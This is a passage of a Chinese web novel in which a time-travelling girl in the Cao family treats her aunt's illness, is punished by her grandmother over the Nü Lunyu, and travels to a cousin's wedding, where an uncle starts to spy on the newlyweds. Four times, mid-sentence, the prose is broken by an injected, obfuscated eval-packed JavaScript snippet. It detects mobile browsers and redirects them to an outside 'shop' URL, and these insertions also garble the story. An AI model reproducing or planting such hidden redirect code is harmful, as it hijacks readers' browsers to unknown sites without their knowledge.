晚书转身对安亭蕴道:“这是骨痿之症,古称龟背佝偻。” 安亭蕴不懂医理,但听她说得在理,忙问:“可能治么?” “需得从补益肝肾,强筋壮骨入手。具体方剂,我还需查证典籍。” 当夜,晚书一回府便扎进书房。终于在《岐黄精要》中寻到些线索,又翻出《千金方》、《外台秘要》,相互参详。 一大早,她亲自赶往安家。 安亭蕴正服侍他母亲用药,见她又来,连忙迎出。 晚书将方子递上,又细细嘱咐:“这药须文火慢煎三个时辰。服药期间忌食生冷,每日午间扶姑母在院里晒太阳,还得每日揉按腰背穴位。” 曹氏被她感动,叹道:“不想我病到这个地步,还能得晚辈如此尽心。” 晚书鼻子一酸,强笑道:“姑母说哪里话。您好生将养,等表哥当了大官,您还要享诰命夫人的福呢。” 安亭蕴送晚书至门外,深深一揖:“妹妹大恩,亭蕴没齿难忘。” 晚书忙避开:“表哥这是做什么?一家人原该互相扶持。” 安亭蕴轻轻叹了一声。 曹晚书疑惑问:“表哥为何事发愁?” 安亭蕴默然片刻,道:“不瞒妹妹,这些年为母亲治病,家里田产铺面已变卖大半。此次赴京,已是破釜沉舟。” 晚书这才知他境况。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202122|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原以为安家虽非显贵,总该是小康之家,不想艰难至此。 “表哥如今入了翰林,总有俸禄可依罢。” 安亭蕴苦笑道:“翰林院应酬繁多,前日同年邀我去赴诗社,单是入门帖便要五两。” 晚书想了想:“倒也是。表哥如今是官身,四季官服、拜帖门敬,一样也省不得。” 她说着说着,忽然灵机一动:“表哥可善书法?” “尚可。” “我听说琉璃厂一带,常有店家求名人题匾。表哥是天子门生,新科进士,若肯挥毫,一幅字少说也能得十两润笔。还有,国子监附近多有富家子弟求人代写文章,表哥文采斐然,没准儿还能多赚几个呢。” 谁料安亭蕴正色道:“代写文章有违圣贤教诲,此非君子所为。” 晚书心里默默吐槽了他一番:真是迂腐。这一不偷二不抢,凭笔墨功夫换些药资,倒成了违背圣训?可见这圣贤书读死了,反不如市井妇人懂得变通。 她到底没有把这些话说出,只道:“那我回去再与母亲说,将我家京郊一处小田庄借与表哥家打理,收成对半分行否?总好过荒着。” 她这番安排倒周全,既全了读书人的体面,又解了燃眉之急。 安亭蕴眼眶发热,道:“不必了。这般劳烦府上,我心何安呢。” “亲戚间原该守望相助。还有你那些诗社文会不必次次都去,择一二清贵的参与便是,还能省些银子。” 她的话,安亭蕴听进去了。 不过曹家的那处田庄他没要,只接些笔墨营生,日子宽裕许多。 可喜的是,曹氏服药半月,晌午晒太阳,已能靠坐片刻。月余时,在搀扶下,也能缓行数步。 这日,安亭蕴照常往翰林院听讲。 新科进士们多在假期中四处宴饮,唯他每日必到,风雨无阻。 课毕,众人散去。 他独坐窗下,将今日所讲与曹晚书对她说过的话一结合,才恍然大悟:“史书中的治乱兴衰,与一家之收支盈缺,道理原是相通的。” 凝神间,身后有人道:“安进士好勤勉。” 回头一看,是翰林学士□□。 这位苏学士以博学耿直著称,寻常进士难得见他一面。 安亭蕴忙起身行礼。 □□摆摆手,踱至案前,见他纸上密密麻麻记的不仅有史论,还有米价田租等数,不由奇道:“安进士这是在算经济账?” 安亭蕴赧然:“让学士见笑。学生家贫,不得不算计这些俗务。” □□拈须微笑:“《大学》有云:‘生财有大道,生之者众,食之者寡,为之者疾,用之者舒,则财恒足矣。’这理财之事,何俗之有?倒是那些只知吟风弄月,不问稼穑的,才是真俗。” 说罢,在他对面坐下,与他论起古今赋税之制来。 从唐代租庸调,讲到本朝一条鞭法,又说到地方胥吏中饱私囊的种种手段。 安亭蕴说了很多,引得□□抚掌称赞。 “怪道这几日不见你赴宴,原来在此处琢磨真学问。那些个琼林宴、曲江会,倒少了你这枝锦绣笔。” 11. 风雨同途 枯荷雨溅离魂泪 亭蕴忙搁下狼毫起身,拱手道:“苏大人取笑了。下官不过效仿古人三更灯火五更鸡之意,怎比得诸位同年白日放歌须纵酒的雅兴。” □□走过去问:“在这里瞧见你好几次了,怎么不跟他们一起去参加新科进士聚会呢? 安亭蕴回道:“参加过几场,是我家境贫寒,拿不出多余的钱再去参加聚会。” “官家不是赐给你三千贯铜钱,供你们聚会专用吗?况且,你不跟他们打好关系,日后的仕途是很难走的。” 安亭蕴扯了扯嘴角笑笑,又道:“交游贵在神契,岂在觥筹。桓次公有云,‘林中多疾风,富贵多谊容’,下官愿作深根之木。” □□觉得此话有些道理,他当年也是散尽家财去参加聚会和那些人打好关系,可是又有什么用呢? 朝堂上该给你使绊子的还是会使绊子,对你好的人不论如何,都会对你好。 □□哈哈大笑了两声,拍了拍安亭蕴的肩膀,说道:“好,那你就继续丰满羽翼吧。” □□刚迈出门槛,忽然间又停住,好像是想到了什么,又折返回来,对他说:“对了,我家的金缠腰开花了,开的那叫一个艳。相传此花一开,便有人要做宰相,也不知真假。 此花一连开了三朵,我和韩公关系近,便邀请了他来参加花宴,剩下一个,实在是找不到好的人选。今日你说的那番话,算是说到我心坎里去了。不如,明日来我府上,也沾沾这个喜气如何?” 安亭蕴倒是听说过这个典故,相传是韩魏公任扬州太守时,此花忽开四枝,后果然四位赏花人皆入中枢。 他连忙谢道:“感激不尽,明日一定准时赴宴。” □□倒是对他起了一些兴致,干脆坐下来,跟他好好聊聊。 “如果,我是说如果有一天,你真的拜相了,你会如何?”他试探道。 安亭蕴想了想,微笑道:“唯以赤心奉君,以公心治世,不负陛下知遇,不负天下生民。” □□听后,眸光一亮,又道:“你方才说深根之木。老夫倒想听听,这木要深到何等程度,才禁得起宦海风波?” 安亭蕴缓声道:“下官幼时,听乡里老人说过一个故事。曾有一棵柳树,历三次河决而不倒,只因根须探入地下十余丈,遇浊流则蓄力,逢旱季则深潜。我想,为官者若似此柳,根系当扎在黎庶田畴之间,而非朱门酒宴之中。” □□听罢,回想起自己当年初入翰林的时候,一时怔住。 窗外有雀儿啁啾掠过,他才倏然回神,又问道:“若有一日,你须在深根与高枝间抉择,当如何?” 安亭蕴笑了笑,侧过头看着院里,抬手虚指着一颗梅树:“大人请看此树。开花时众人争赏,零落后谁复垂怜?可它依旧岁岁萌蘖,不因宠辱易其节。” □□指着他道:“你可知,今日这番话若传出去,多少人要笑你痴?” 不等安亭蕴回答,他自己先摇了摇头:“可官场里,缺的正是这等痴人。” 二人又谈论了一会儿,□□心内越发欢喜,笑道:“罢了,不扰你理事了。明日巳时,我府中静候。”说罢,拂袖离去。 且说曹家这边。 曹晚书一进院,沿着一条青灰的石砖路一直往前走,穿过暗红色的扇门,便来到了正厅。 曹老太太坐在上首的紫檀椅上,手里不停转动着佛珠。 下首坐着的是宋夫人王夫人,和几个哥哥姐姐们。 曹晚书见过长辈们,便来到宋夫人身边坐下,听他们商议事情。 “你们的大姐姐,已经定了永定候府的顾小侯爷,打算在腊月十五成亲。舆哥儿也已经行军打仗去了。等大姐儿的婚事办完,就该为辕哥儿、轸哥儿、轴哥儿寻一门好亲事。 玉书、晚书、兰书也都大了,该有自己的一个院子,学着理事。轼哥儿如今还小,应以学业为重。你们几个,都是咱们曹家的子孙。 要知道,一个家族纵使有开天辟地的祖先,如果没有能够中兴的子孙,没有可以维继的产业,终会没落。咱们家此时眼看着正在走向末路,以后能不能振兴家业,可就靠你们这辈人了。” 曹老太太说完,接过刘妈妈递过来的茶水喝了几口,润润嗓子。 曹辕道:“祖母放心,爹爹已经为我们请来了吕先生讲课。等到三年后的春闱,孙儿一定会竭尽全力金榜题名,为祖宗争光。” “好,只要你们有出息,我也就放心了。”曹老太太放下茶碗,又对着王夫人接着说,“如今轸哥儿轴哥儿也大了,赶紧给他们找个明理懂事的媳妇,好好约束一下,别一天到晚的往勾栏瓦舍里跑。” 王夫人深深叹了口气,皱着眉头,一副很为难的样子,说道:“老太太,我何尝不想给他们哥俩找一个好媳妇,可是他们俩的名声在外头都臭了,谁家正经姑娘愿意嫁过来呀。 官人走的早,撇下我们娘几个,实在是男孩大了管不住。还得请老太太您,有什么好姑娘多替他哥俩儿留意着些。” 曹轸曹轴兄弟俩,低着头不敢说话,也不敢和曹老太太对视,一下子蔫了似的。 “唉,自明日起,轸哥儿轴哥儿不许再外出,跟着辕哥儿轼哥儿一起去书院读两年书去吧,好好改改你们这个性子。” 人散后,曹晚书深吸了一口气,粉嘟嘟的小脸上,露出一股淡淡的忧愁来。 果子跟在她身后,有些想不通,为什么姑娘的眉头总是微微皱起,为什么姑娘总是一阵阵的叹气。 曹晚书趴在栏杆上,呆呆地看了许久,忽然回头问:“果子,微湖的荷花应该开了吧?” 果子忙答道:“开了,我昨儿去给夫人送东西,路过微湖正好瞧见的。” “走,咱们游湖去。” 今年满湖的荷花开得依旧艳,荷叶有的浮在水面上,有的高高立着,卷着卷儿,衬的荷花愈发的亭亭玉立。 曹晚书拉着果子上了小船,她手中的船浆在湖水里拨开,泛起一阵阵水花。 果子顺手摘下一个莲蓬,剥开皮,将莲子放在嘴里尝了尝,一股清甜在口中蔓延开来,她满意的点点头,忍不住又剥了几个,放在曹晚书嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202123|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 “姑娘快尝尝,可甜了。” 不一会儿,小船上就堆起了莲蓬小山。果子吃的心满意足,又摘下两片荷叶,一片盖在自己头顶,一片盖在曹晚书头顶,还咯咯笑道:“这下可晒不着了。” 小舟不知不觉漂到一片水域。 晚书索性放了桨,任船儿随风荡漾。 不远处有几枝残荷,枯叶低垂,与周遭的鲜妍恰成对照。 她凝神看了许久,枯荷虽然没有盛放时的灼灼之姿,却另有一种经风霜后的沉静之美。 一茎残叶半卷,在潋滟波光里显得格外孤清,不争不喧,自成一境。 又听得“扑棱棱”一阵响,船惊起了芦苇丛中几只苍鹭。 苍鹭白羽掠水,长颈舒展,转瞬没入天际烟霞之中。 此情此景,倒让她想起易安居士那句“争渡,争渡,惊起一滩鸥鹭”。 天色渐渐向晚,空中飘起绵绵细雨。 晚书与果子撑起油纸伞,并肩坐着看雨滴落在湖面,漾开万千波纹。 后方忽有人唤:“五姑娘,天色不早了,该回府了!” 回头一看,有一艘画舫,不知何时悄悄跟在后头。 晚书讶然:“他们几时来的?” 果子抿嘴笑道:“早跟着了,怕扰了姑娘雅兴,一直远远缀着。” 怪不得,不过也好,她原本还害怕不知道回去的路呢,这下心里也踏实了。 自此之后,曹晚书便常来这里。 有时独自撑船,有时凭栏静望,一坐便是半日。 一日,天才微微透亮。 晚书忽从梦中惊醒,额上冷汗涔涔。 她梦见了自己的爸妈,又梦见书里曹府被抄家后的惨状。 朱门贴了封条,园中荒草萋萋,姊妹们哭哭啼啼被官媒拉走。 窗外细雨淅沥,她赤着脚跳下床,胡乱趿了绣鞋便往外跑。 果子被她惊醒,见她只穿着单薄中衣,慌忙抱起外裳追出去。 晚书一路奔至微湖,一下子扑在石栏上,泪水夺眶而出。 待果子赶到,她已瘫坐在小木桥边,浑身湿透,脸上也分不清是雨是泪。 果子忙将衣裳给她披上,急道:“姑娘这是怎么了?快回去罢,仔细着凉。” 晚书仰起脸,任雨水打在面上。 她本不属于这里。 那个有汽车高楼的二十一世纪,才是她的故土。 而此处,处处是桎梏,步步要小心,稍有不慎便是万劫不复。 “果子,”她忽然抱住丫鬟,将脸埋在她肩头,呜咽道,“我想家了,我想回家。” 果子茫然拍着她的背:“这儿就是姑娘的家啊。” 晚书摇头,泪落得更急。 她的乡愁,这世间无人能懂。 良久,她止了泪,挽住果子的手站起身。 雨不知何时停了,乌云渐渐散去,太阳高高升起。 她望着天上的微光,轻轻道:“咱们回去罢。从今往后,我要好好活着。” 12. 释前嫌慈母惜娇儿 这日,曹老太太把几位姑娘叫到上房,命人搬了绣墩,围坐在跟前,听她们念《女论语》。 待念完了,曹老太太点点头,道:“回去各自抄写一遍,仔细记在心里。明儿一早我查功课,可别怨我不讲情面。” 曹晚书对书里这些糟粕实在是不满,起身道:“祖母,孙女有句话不知当讲不当讲。这书里有些话,依孙女看,实是糟粕。理当取其精华,去其糟粕才对。” 曹老太太本已扶了刘妈妈的手预备起身,闻言又坐下,看了她一眼,道:“你倒说说,哪些是糟粕,哪些是精华?” “譬如‘夫若发怒,不可生嗔。退身相让,忍气低声’。这便是糟粕。凭甚么男人发火,咱们女人就得忍气吞声?他错了也要让,他对了也要让,这样让一辈子,让到什么时候是个头?” 曹老太太道:“你再看底下那句。‘莫学泼妇,斗闹频频’。若夫妻二人为争谁有理,日日吵嚷,生了嫌隙,少不得妻妾纷争,家宅不宁。到那时,吃亏的又是谁?” 曹晚书抿了抿嘴唇,半晌道:“祖母的意思是,但凡男人错了,咱们也只得为了家宅太平,一味忍着让着。这样活着,岂不憋屈。” 曹老太太怔了一怔:“怪不得人说女子无才便是德。你读了书,倒读出这些念头来了。” “孙女妄揣,这话必是男人编的。他们怕女子读了书便有了见识,有了见识便不肯俯首帖耳,由着人摆布。” 曹老太太的脸白了。 她看着这个孙女,不过十三四岁的年纪,眉目还带着稚气,说话却这样锋利。 这丫头心性太高,口角太利,将来出了门子,婆婆跟前、妯娌之间、丈夫面前,她能这样说话么?怕是不出三日就要被休回娘家。 老太太想到这里,心里又急又疼。如今若不叫她吃些教训,往后只怕还有大苦头。 她沉着脸,重重拍了一记案几,厉声道:“把戒尺拿来!” 刘妈妈从后头匣子里取了一柄乌木戒尺,双手递上。 曹晚书跪在地上,把手心朝上伸出去。第一板子落下,掌心登时红了一道。 她咬着唇,把手往后缩,又被老太太拉回来。一连五六下,掌心肿得老高。 老太太把戒尺往案上一搁,道:“今儿夜里你到祠堂跪着,把《女论语》抄了,再把《女戒》一并抄了。明儿我第一个考你。抄不完不许起来,不许人替。都下去罢。” 众人诺诺散了。 果子跟在曹晚书后头,出了上房,看着姑娘那只红肿的手,把帕子递过去,低声道:“姑娘,先凉一凉罢。” 曹晚书摇了摇头,把手收进袖子里,没说话。 入夜,祠堂里只点了两支烛。风从门缝钻进来,烛火摇了又摇,在神主牌位上投下忽长忽短的影子。 曹晚书跪在蒲团上,手心肿得捏不住笔,一握就疼,她便放慢了写,写几个字歇一歇。 果子在一旁磨墨,小声道:“姑娘何苦跟老太太争这个。书上写的,不都是寻常理儿么?奴婢听刘妈妈说,像魏国长公主,那可是天下女子的榜样,三从四德,没一处不好的。公主那样的尊贵,尚且如此,咱们又算什么。” 曹晚书一面写着,一面说道:“驸马辜负了她,在外头养外室、生孩子。官家怪罪驸马,公主还替他求情,把外室母子接进府里养活。人人都夸她贤惠、温良、大度,可是,公主当真欢喜么?” 果子张了张嘴,答不上来。 她没读过书,不认得几个字,可她也知道,自己将来的男人若在外头有了人,还要接回家一处过日子,她大约是不能的。 那样的事,光是想想,心里就堵得慌。 曹晚书没再说话,低头继续抄。 第二日一早,姐妹们又聚在上房。曹晚书跪了一夜,膝盖青紫,走路都有些跛。 曹老太太看在眼里,没说什么,只叫众人都坐下。 刘妈妈给她搬了绣墩,她谢了坐,挨着半边坐下。 “五丫头,说说,如何侍奉公婆?” 曹晚书垂着眼,像背书一般:“姑坐则立,使令便去。早起开门,莫令惊忤。洒扫庭除,内外整洁…” “咆哮尊长,说辛道苦,呼唤不来,饥寒不顾。如此之人,号为恶妇。天地不容,雷霆震怒…” 曹老太太忽然叹了一声。 她招手把晚书拉到身边,掀起了她的裙角。膝盖青里泛紫,老太太伸手摸了摸,满是心疼。 “祖母打你,罚你,是怕你日后吃亏。你这心性,这口齿,到了婆家,凡事不肯低头的,婆婆妯娌如何容你?世人那张嘴,轻了说你一句‘悍妇’、‘妒妇’,男人厌了,冷着你,搁着你,外头再寻别人;重了休回娘家,到那时,天地虽大,哪里是你的安身处?” 曹晚书静了一静,慢慢道:“孙女想通了,只是孙女心里并不服。凭甚么男人可以发脾气,三妻四妾,咱们就得三从四德,太不公了。” 曹老太太道:“我年轻那会儿,也有过这念头。只是出了阁,生了孩子,一大家子人指着你,由不得你不低头。罢了,怪只怪咱们生在这个年月。” 曹晚书没再说话,靠在老太太怀里。老太太轻轻拍着她,像拍个孩子。 她心里再不服气,也不敢说什么了,生怕再去跪一夜祠堂。 隔了片刻,老太太道:“前儿老家带来信,你们辐大哥哥要成亲了。我老了,这么远的路,懒得动弹。到时叫你母亲带你们姊妹几个去,替我给他道声喜。” 玉书有些意外,道:“辐哥哥都要成亲了?日子过得可真快。” “你明年及笄,可不快么?”老太太笑道,“四十年弹指一挥,我如今照镜子,已是风烛草露了。” 兰书忙笑道:“祖母精神矍铄,依我看,倒比从前还硬朗些。” 老太太被她逗笑了,指着她道:“你这猴儿,专拿我取笑。” 玉书又问:“新嫂子是哪家的?” 老太太道:“是济州通判薛大人的爱女。听说是个有才情的,琴棋书画样样来得,在家时还帮着她父亲料理过衙门里的账目。辐哥儿那孩子,打小老实,能娶到这样的媳妇,是他的福气。 我老婆子是没眼福见了,你们替我去瞧瞧。见了面,替我道声喜。” 众人又笑谈了一回,老太太显出乏了,刘妈妈便服侍她进里间歇息。姊妹们各自散了,回屋收拾行装。 过了几日,宋夫人带着几位姑娘启程回山东老家。 曹晚书上船时兴致还好,趴在栏杆上看着河水。 谁知不过半日,曹晚书便头晕目眩起来。起初只是有些闷,她没在意,还坐着看了一会儿水。渐渐便觉天旋地转,胃里翻涌。 果子扶她回舱躺下,刚躺下便吐了一回。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202124|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果子急得满头汗,梅子在一旁打转,把舱里能翻的地方都翻遍了,只找出几块陈皮,又不敢给她乱吃。 两个丫头束手无策,梅子嘴里不住念叨:“姑娘病成这样,夫人那边也没个人过来看看。” 曹晚书昏昏沉沉的,被她俩吵得脑仁疼,摆摆手道:“你们且下去,让我静静躺着。” 果子不肯走,把帘子放下来,搬个小杌子守在舱门口。 梅子赌气出去了,不多时又回来,端了盏温水放下。 挨到夜里,曹晚书还迷糊着,听外头脚步乱响,吵吵嚷嚷的不得安生。 她披衣起身,扶着舱壁往外走。 走到宋夫人舱外,只见里头灯火通明,人影憧憧。 曹晚书扶着门框,往里探了探头。宋夫人守着曹玉书,脸都白了,刘妈妈在边上递帕子、换水,也是忙得脚不沾地。 “母亲,四姐姐怎么了?” 宋夫人原记着上回的事,待她总淡淡的,这时正乱着,更没好气:“你又能帮什么忙。自己还病着呢,出来吹风,回头更重了,我又要分神照看你。” 曹晚书仍旧和气问:“母亲总得告诉我什么事,我才好想主意。” 宋夫人没理她,转身给玉书掖被角。 曹晚书自己慢慢走过去,见玉书蒙着两床厚被,面色潮红,嘴唇干得起皮。她伸手一探额头,火炭似的。 “四姐姐发热了,不能盖这样厚。”曹晚书说着便要去揭被子。 宋夫人一把拦住,怒道:“你要冷死她不成?” 曹晚书道:“发热是要散热的。里头烧着,外头再捂着,热散不出去,越烧越高。”说罢,把上面那层厚被揭了。 宋夫人劈手夺回被子,恨声道:“你一个孩子家,懂什么?万一你四姐姐冻出个好歹来,是你担着还是我担着?” 曹晚书没争辩。 她走到铜盆边,摸了摸里面的水,已是温的了。便唤果子去外头打凉水,自己把玉书额上的帕子取下来,在冷水里浸了,拧到半干,覆了上去。 “我往日发热,都是这样治的。母亲不信我,我也没法子。” 说罢,她扶着果子慢慢走了。 刘妈妈小声道:“夫人,五姑娘说的倒也有几分道理。” 宋夫人低头看着玉书,那张小脸烧得红扑扑的,眉头拧着,嘴唇都干了。 她伸手摸了摸被褥,到底把上面那层揭了。一夜她都没合眼,隔半个时辰便换一次帕子,喂一回水。 到天亮时,曹玉书悠悠醒来,出了一身透汗,烧全退了。 早饭时,宋夫人把一碟子细巧点心挪到晚书面前,又亲手给她布了一箸春不老,道:“五丫头,头还晕不晕?” 曹晚书道:“睡了一夜,比昨日好多了。多谢母亲惦记。” 宋夫人讪讪地笑了笑,低头喝粥,半晌又道:“昨儿夜里我也是急糊涂了,说话没轻重,你别往心里去。” 曹晚书放下筷子,笑道:“母亲是心疼四姐姐,我明白的。咱们都是为了四姐姐好,我从不曾怪过母亲。换了是我病着,母亲也一样照看。” 宋夫人怔了一下,慢慢点点头。她把那碟子点心又往晚书跟前推了推,道:“好孩子,多吃些。还有三四日的船,不吃东西身子撑不住。” 曹晚书应了,夹了一块枣泥酥,慢慢吃着。 13. 老色鬼 回到舱里,梅子还在那里闷闷的,嘴撅得能挂油瓶,手里擦着桌子,抹布东一下西一下,像跟桌子有仇似的。 曹晚书歪在榻上,觑着她笑道:“这是谁欠了你银子不成?桌子都要被你擦脱一层皮了。” 梅子停下手,把抹布往盆里一扔,回过身来,怨道:“姑娘自上了船就身子不爽,夫人那边又不是不知道,也不来瞧一眼。夜里四姑娘发热,姑娘好心过去帮忙,倒叫夫人劈头骂了一顿。今早发现姑娘说得在理,这才赶着来嘘寒问暖,早做什么去了?打量人是傻子呢。” 曹晚书把枕头挪了挪,仰面躺着,望着舱顶。 她看了会子,慢悠悠道:“宋夫人做到那份上,已经很不易了。我原不是她生的,她肯拿我当女儿待,我也肯拿她当母亲敬。这就够了。” “因着大姐姐那件事,母亲心里存了芥蒂,我是知道的。她不是那等阴毒人,只是脾气来得快,嘴上不饶人。昨夜那样说我,是气头上,不是成心的。今早能当着人面赔不是,这已十分难得。若是换了那等面上一套心里一套的,岂不更叫人寒心?” 梅子想了想,倒也是这个理。 幸亏府里老太太坐镇,太太又不是歹毒心肠,姑娘又会处事,这才能在府里过得安稳。 她遂不再抱怨,回头收拾茶盏,瞧见曹晚书不知何时又翻过身,趴在枕上翻看账册。 船行又两日,这一日午后,终于泊了岸。 孙夫人派了人在码头候着,一乘青帷小轿,几辆骡车,把宋夫人并几位姑娘接进府去。 曹晚书掀帘往外看,门楣上悬着“曹宅”二字匾额,门前栽着两株槐树。 进了二门,孙夫人迎出来,身后跟着二儿一女。 大儿曹辐二十出头,生得敦厚。旁边站着的是曹轮,十八九岁模样。再往后躲着个小姑娘,不过十几岁,揪着孙夫人的衣角,探出半边脸来瞧人。 孙夫人笑道:“这是你们辐大哥哥,这是轮二哥。”她又把身后小姑娘拉出来,“这是姝书,比晚书小几个月。姝丫头,还不叫姐姐?” 曹姝书低着头,蚊子似的哼了一声,便不肯再开口。 孙夫人嗔道:“这孩子,平日在家里话多得很,见了人倒成了锯嘴葫芦。”说着便命曹姝书带几位姐姐往后园子去玩耍。 在前厅时,看这姝书姑娘有些怯懦,本以为是个不爱说话的。 可是一出来,就小嘴叭叭,不停地问:“东京是什么样的?和咱们济州有什么区别吗?” 曹玉书便道:“东京比济州繁华得多,只是东西也贵。譬如一斤猪肉,济州不过一百文上下,京城便要一百五十文,有时还买不着。寻常人家,能隔几日吃回猪肝,已是极体面的了。” “那京城都有什么好玩的?”她又问。 曹兰书答道:“那当属是大相国寺了,每月会开放五日,开市之日商旅云集,各类物品应有尽有。甚至宫里还会牵出来一些奇珍异兽,有大象、孔雀、驺虞、神羊等等,可热闹了。” 曹姝书听得入神,道:“等金书姐姐成亲,我也要去京城,到大相国寺看大象去。” 说了一回,她又问:“怎么这回金书姐姐没来?” 曹玉书道:“大姐姐婚期近了,忙得脚不沾地,哪里分身得来。” 正说着,见曹辐从前头小径过来,见了这边几位妹妹,脚步顿了一顿,似是想过来招呼,又有些踌躇。 曹兰书眼尖,先笑道:“新郎官来了!” 曹辐登时红了脸,背过身去,讷讷道:“妹妹们休要取笑…妹妹们在这儿玩,我先…先过去了。”说罢低着头,脚不点地般逃了。 姐妹几个看着他那背影,忍不住笑作一团。 曹辐低头走着,心里还突突的,冷不防迎面撞上一人,抬头一看,是自家父亲曹贵。 他忙退后一步,垂手恭立,道:“爹。” 曹贵淡淡扫了他一眼,也不停步,径自往前去了。 曹姝书本在后头跟着几位姐姐,远远望见曹贵往这边来,脸色微微一变,拉着曹晚书的袖子便要往岔路拐。 曹贵瞧见她这举动,在后头嘀咕了一句:“这丫头,瞧见我躲甚么?” 曹兰书悄声道:“姝书,三叔叫你呢。” 姝书这才停下,慢慢回过身,往那边望了一眼。 待曹贵走远了,她方慢慢走到一块大石边坐下,两手托腮,望着天,半晌不言。 曹晚书走到她身旁,挨着坐下,也不问,只陪她看天。 过了好一会儿,曹姝书轻轻道:“我领你们上山捉野鸡去。” 她面上带着笑,但是眼底还有些沉沉的,看起来像强颜欢笑。 过了两日,正日子到了。 天还没亮透,外头便响起炮竹声,一阵阵噼里啪啦。迎亲的队伍回来了,锣鼓喧天,人声鼎沸,满院子都是看热闹的。 曹晚书跟着姐妹们挤在人堆里,踮着脚往堂前张望。 她个头矮,前面的人又高,一会儿踮脚,一会儿蹦几下,只看见一片红彤彤的人影晃动,新郎官新娘子拜堂的模样,却一点儿也瞧不着。 曹轮站在一旁,看她那着急忙慌的样子,忍不住笑道:“五丫头,实在不行搬个杌凳来,站在上头看。” 曹晚书扭头瞪他:“轮二哥,你是笑话我矮么?” 曹轮笑而不答。 曹晚书自己也撑不住笑了。矮便矮罢,横竖还小,再过两年,未必不长。 里头礼成,宾客入席。 宋夫人与王大娘子商议,既已吃了喜酒,明日便该启程回京。 不料曹辐过来,拱手道:“伯母,侄儿斗胆相劝,还是暂留几日为妥。近来外头不甚太平,路上恐有闪失。” 宋夫人吃了一惊,道:“难不成是有流寇作乱?” 曹辐叹了口气,道:“连着几年旱涝不均,有的地方赤地千里,颗粒无收。百姓没了活路,只好往山里躲,渐渐地啸聚成群。朝廷不但不加抚恤,反而添了捐税,那些本已揭不开锅的小民,越发雪上加霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202125|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 王夫人拍着腿,迭声道:“哎哟哟,这可了不得,这可了不得!” 曹轮在旁接口道:“还有一桩,朝廷不抑兼并,那些功臣勋贵,良田万顷还嫌不够,越发圈占。如今是富者田连阡陌,贫者无立锥之地。有力气的人寻不着田种,有田的人又雇不起人耕,这日子如何过得下去。” 孙夫人趁机道:“两位嫂嫂,好歹多住几日。等外头平定些,再走不迟。” 宋夫人在京城住惯了,天子脚下,安稳太平,何曾见过这等阵仗,心里先自慌了,便点头应允。一面又命邹妈妈写家书,打发人连夜送回京城,免得老太太悬心。 堂上大人们说着这些沉重话,姑娘们插不上嘴,便在一旁坐着。 曹晚书陪着姝书翻花绳,玩了好久,困得眼皮都沉了。 姝书忽然低声道:“你们猜,辐大哥哥这会儿在做什么?” 曹晚书抬起眼皮,见姝书眼睛亮晶晶的,藏着狡黠。 没等旁人答话,曹姝书自己便道:“我猜,定是娇妻在怀,红纱帐里度春宵呢!” 几位姑娘登时臊红了脸。 曹玉书啐道:“死丫头!嘴里没个把门的,真真不害臊!” 曹晚书忍着笑,把花绳往姝书手里一塞,道:“仔细叫婶子听见,揭了你的皮。” 曹姝书嘻嘻一笑,也不再说。 谁料这话偏叫曹贵听进了耳朵里。 他坐在厅上待坐了一会儿,起身往外走。 小厮跟上来,他摆摆手,只说:“走走醒酒,不用跟。” 夜已深了,月色如水。 院子门口的红灯笼还亮着,廊下本有值夜的丫鬟婆子,此时也都不知躲哪儿歇乏去了,静悄悄的,不闻人声。 曹贵放轻脚步,贴着墙根慢慢挪到窗下。 他把耳朵贴在门缝边,听里头隐隐有低语声,隔着一道门,听不真切,但被翻红浪,锦帐春深的光景,不言自明。 曹贵听了一会儿,心跳得快起来,手心也潮了。 他四下望望,又猫着腰蹭到窗根底下,伸出舌头濡湿指头,在新糊的窗纸上轻轻戳了个绿豆大的窟窿。 正要眯着眼往里瞧,听见有脚步声。 曹贵吓得浑身一激灵,连忙缩了脖子,贴着墙根便往外溜。走到院门口,迎面撞上一个人。 